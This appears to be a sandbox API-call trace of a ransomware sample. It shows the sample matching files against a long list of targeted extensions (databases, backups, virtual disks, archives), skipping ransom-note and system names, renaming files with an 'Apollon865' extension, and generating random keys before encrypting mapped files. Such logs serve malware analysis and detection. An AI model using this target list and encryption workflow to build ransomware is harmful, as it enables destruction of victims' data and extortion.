	[0084.131] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.131] lstrlenW (lpString="ihx") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.131] lstrlenW (lpString="itdb") returned 4
	[0084.131] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.131] lstrlenW (lpString="itw") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.131] lstrlenW (lpString="jet") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.131] lstrlenW (lpString="jtx") returned 3
	[0084.131] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.131] lstrlenW (lpString="kdb") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.132] lstrlenW (lpString="kexi") returned 4
	[0084.132] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.132] lstrlenW (lpString="kexic") returned 5
	[0084.132] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.132] lstrlenW (lpString="kexis") returned 5
	[0084.132] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.132] lstrlenW (lpString="lgc") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.132] lstrlenW (lpString="lwx") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.132] lstrlenW (lpString="maf") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.132] lstrlenW (lpString="maq") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.132] lstrlenW (lpString="mar") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.132] lstrlenW (lpString="marshal") returned 7
	[0084.132] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.132] lstrlenW (lpString="mas") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.132] lstrlenW (lpString="mav") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.132] lstrlenW (lpString="maw") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.132] lstrlenW (lpString="mdbhtml") returned 7
	[0084.132] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.132] lstrlenW (lpString="mdn") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.132] lstrlenW (lpString="mdt") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.132] lstrlenW (lpString="mfd") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.132] lstrlenW (lpString="mpd") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.132] lstrlenW (lpString="mrg") returned 3
	[0084.132] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.133] lstrlenW (lpString="mud") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.133] lstrlenW (lpString="mwb") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.133] lstrlenW (lpString="myd") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.133] lstrlenW (lpString="ndf") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.133] lstrlenW (lpString="nnt") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.133] lstrlenW (lpString="nrmlib") returned 6
	[0084.133] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.133] lstrlenW (lpString="ns2") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.133] lstrlenW (lpString="ns3") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.133] lstrlenW (lpString="ns4") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.133] lstrlenW (lpString="nsf") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.133] lstrlenW (lpString="nv") returned 2
	[0084.133] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.133] lstrlenW (lpString="nv2") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.133] lstrlenW (lpString="nwdb") returned 4
	[0084.133] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.133] lstrlenW (lpString="nyf") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.133] lstrlenW (lpString="odb") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.133] lstrlenW (lpString="odb") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.133] lstrlenW (lpString="oqy") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.133] lstrlenW (lpString="ora") returned 3
	[0084.133] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.134] lstrlenW (lpString="orx") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.134] lstrlenW (lpString="owc") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.134] lstrlenW (lpString="p96") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.134] lstrlenW (lpString="p97") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.134] lstrlenW (lpString="pan") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.134] lstrlenW (lpString="pdb") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.134] lstrlenW (lpString="pdm") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.134] lstrlenW (lpString="pnz") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.134] lstrlenW (lpString="qry") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.134] lstrlenW (lpString="qvd") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.134] lstrlenW (lpString="rbf") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.134] lstrlenW (lpString="rctd") returned 4
	[0084.134] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.134] lstrlenW (lpString="rod") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.134] lstrlenW (lpString="rodx") returned 4
	[0084.134] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.134] lstrlenW (lpString="rpd") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.134] lstrlenW (lpString="rsd") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.134] lstrlenW (lpString="sas7bdat") returned 8
	[0084.134] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.134] lstrlenW (lpString="sbf") returned 3
	[0084.134] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.134] lstrlenW (lpString="scx") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.135] lstrlenW (lpString="sdb") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.135] lstrlenW (lpString="sdc") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.135] lstrlenW (lpString="sdf") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.135] lstrlenW (lpString="sis") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.135] lstrlenW (lpString="spq") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.135] lstrlenW (lpString="te") returned 2
	[0084.135] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.135] lstrlenW (lpString="teacher") returned 7
	[0084.135] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.135] lstrlenW (lpString="tmd") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.135] lstrlenW (lpString="tps") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.135] lstrlenW (lpString="trc") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.135] lstrlenW (lpString="trc") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.135] lstrlenW (lpString="trm") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.135] lstrlenW (lpString="udb") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.135] lstrlenW (lpString="udl") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.135] lstrlenW (lpString="usr") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.135] lstrlenW (lpString="v12") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.135] lstrlenW (lpString="vis") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.135] lstrlenW (lpString="vpd") returned 3
	[0084.135] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.135] lstrlenW (lpString="vvv") returned 3
	[0084.136] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.136] lstrlenW (lpString="wdb") returned 3
	[0084.136] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.136] lstrlenW (lpString="wmdb") returned 4
	[0084.136] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.136] lstrlenW (lpString="wrk") returned 3
	[0084.136] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.136] lstrlenW (lpString="xdb") returned 3
	[0084.136] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.136] lstrlenW (lpString="xld") returned 3
	[0084.136] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.136] lstrlenW (lpString="xmlff") returned 5
	[0084.136] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.136] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.Apollon865") returned 82
	[0084.136] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.142] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.142] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=488800) returned 1
	[0084.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.143] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.143] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.144] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.144] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x77860, lpName=0x0) returned 0x15c
	[0084.145] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x77860) returned 0x210000
	[0084.170] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.171] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.171] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.172] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.172] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0084.176] CloseHandle (hObject=0x15c) returned 1
	[0084.177] CloseHandle (hObject=0x9c) returned 1
	[0084.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.177] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.179] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="..") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="windows") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="temp") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.179] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.180] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.180] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.180] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0084.180] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned 71
	[0084.180] lstrcpyW (in: lpString1=0x119e670, lpString2="WWINTL.DLL.trx_dll" | out: lpString1="WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll"
	[0084.180] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0084.180] lstrlenW (lpString="Apollon865") returned 10
	[0084.180] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.180] lstrlenW (lpString=".dll") returned 4
	[0084.180] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.180] lstrlenW (lpString=".lnk") returned 4
	[0084.180] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.180] lstrlenW (lpString=".ini") returned 4
	[0084.180] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.180] lstrlenW (lpString=".sys") returned 4
	[0084.180] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.180] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0084.180] lstrlenW (lpString="bak") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.180] lstrlenW (lpString="ba_") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.180] lstrlenW (lpString="dbb") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.180] lstrlenW (lpString="vmdk") returned 4
	[0084.180] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.180] lstrlenW (lpString="rar") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.180] lstrlenW (lpString="zip") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.180] lstrlenW (lpString="tgz") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.180] lstrlenW (lpString="vbox") returned 4
	[0084.180] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.180] lstrlenW (lpString="vdi") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.180] lstrlenW (lpString="vhd") returned 3
	[0084.180] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.180] lstrlenW (lpString="vhdx") returned 4
	[0084.181] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.181] lstrlenW (lpString="avhd") returned 4
	[0084.181] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.181] lstrlenW (lpString="db") returned 2
	[0084.181] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.181] lstrlenW (lpString="db2") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.181] lstrlenW (lpString="db3") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.181] lstrlenW (lpString="dbf") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.181] lstrlenW (lpString="mdf") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.181] lstrlenW (lpString="mdb") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.181] lstrlenW (lpString="sql") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.181] lstrlenW (lpString="sqlite") returned 6
	[0084.181] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.181] lstrlenW (lpString="sqlite3") returned 7
	[0084.181] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.181] lstrlenW (lpString="sqlitedb") returned 8
	[0084.181] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.181] lstrlenW (lpString="xml") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.181] lstrlenW (lpString="$er") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.181] lstrlenW (lpString="4dd") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.181] lstrlenW (lpString="4dl") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.181] lstrlenW (lpString="^^^") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.181] lstrlenW (lpString="abs") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.181] lstrlenW (lpString="abx") returned 3
	[0084.181] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.181] lstrlenW (lpString="accdb") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.182] lstrlenW (lpString="accdc") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.182] lstrlenW (lpString="accde") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.182] lstrlenW (lpString="accdr") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.182] lstrlenW (lpString="accdt") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.182] lstrlenW (lpString="accdw") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.182] lstrlenW (lpString="accft") returned 5
	[0084.182] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.182] lstrlenW (lpString="adb") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.182] lstrlenW (lpString="adb") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.182] lstrlenW (lpString="ade") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.182] lstrlenW (lpString="adf") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.182] lstrlenW (lpString="adn") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.182] lstrlenW (lpString="adp") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.182] lstrlenW (lpString="alf") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.182] lstrlenW (lpString="ask") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.182] lstrlenW (lpString="btr") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.182] lstrlenW (lpString="cat") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.182] lstrlenW (lpString="cdb") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.182] lstrlenW (lpString="ckp") returned 3
	[0084.182] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.183] lstrlenW (lpString="cma") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.183] lstrlenW (lpString="cpd") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.183] lstrlenW (lpString="dacpac") returned 6
	[0084.183] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.183] lstrlenW (lpString="dad") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.183] lstrlenW (lpString="dadiagrams") returned 10
	[0084.183] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.183] lstrlenW (lpString="daschema") returned 8
	[0084.183] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.183] lstrlenW (lpString="db-journal") returned 10
	[0084.183] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.183] lstrlenW (lpString="db-shm") returned 6
	[0084.183] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.183] lstrlenW (lpString="db-wal") returned 6
	[0084.183] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.183] lstrlenW (lpString="dbc") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.183] lstrlenW (lpString="dbs") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.183] lstrlenW (lpString="dbt") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.183] lstrlenW (lpString="dbv") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.183] lstrlenW (lpString="dbx") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.183] lstrlenW (lpString="dcb") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.183] lstrlenW (lpString="dct") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.183] lstrlenW (lpString="dcx") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.183] lstrlenW (lpString="ddl") returned 3
	[0084.183] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.183] lstrlenW (lpString="dlis") returned 4
	[0084.183] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.183] lstrlenW (lpString="dp1") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.184] lstrlenW (lpString="dqy") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.184] lstrlenW (lpString="dsk") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.184] lstrlenW (lpString="dsn") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.184] lstrlenW (lpString="dtsx") returned 4
	[0084.184] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.184] lstrlenW (lpString="dxl") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.184] lstrlenW (lpString="eco") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.184] lstrlenW (lpString="ecx") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.184] lstrlenW (lpString="edb") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.184] lstrlenW (lpString="epim") returned 4
	[0084.184] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.184] lstrlenW (lpString="fcd") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.184] lstrlenW (lpString="fdb") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.184] lstrlenW (lpString="fic") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.184] lstrlenW (lpString="flexolibrary") returned 12
	[0084.184] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
